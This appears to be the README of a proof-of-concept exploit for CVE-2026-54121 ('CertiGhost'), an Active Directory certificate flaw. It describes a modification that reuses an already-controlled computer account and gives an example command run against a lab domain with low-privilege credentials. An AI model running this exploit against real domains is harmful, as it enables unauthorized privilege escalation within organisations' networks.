# CVE-2026-54121-CertiGhost

This POC is the original POC code from https://github.com/aniqfakhrul/CVE-2026-54121/blob/main/certighost.py but with slight changes to use a computer object that we already controll instead of relying on creating a new computer that is generally limited through MachineAccountQuota

See original [repo](https://gist.github.com/H0j3n/a5ef2609b5f2944ac2390a191a534c26) about CertiGhost vulnerability for more information.

```
python3 certighost.py -d playground.local -u lowpriv -p Password123 \
  --dc-ip 192.168.209.157 \
  --computer-name MACHINEA$ \
  --computer-hash  
```
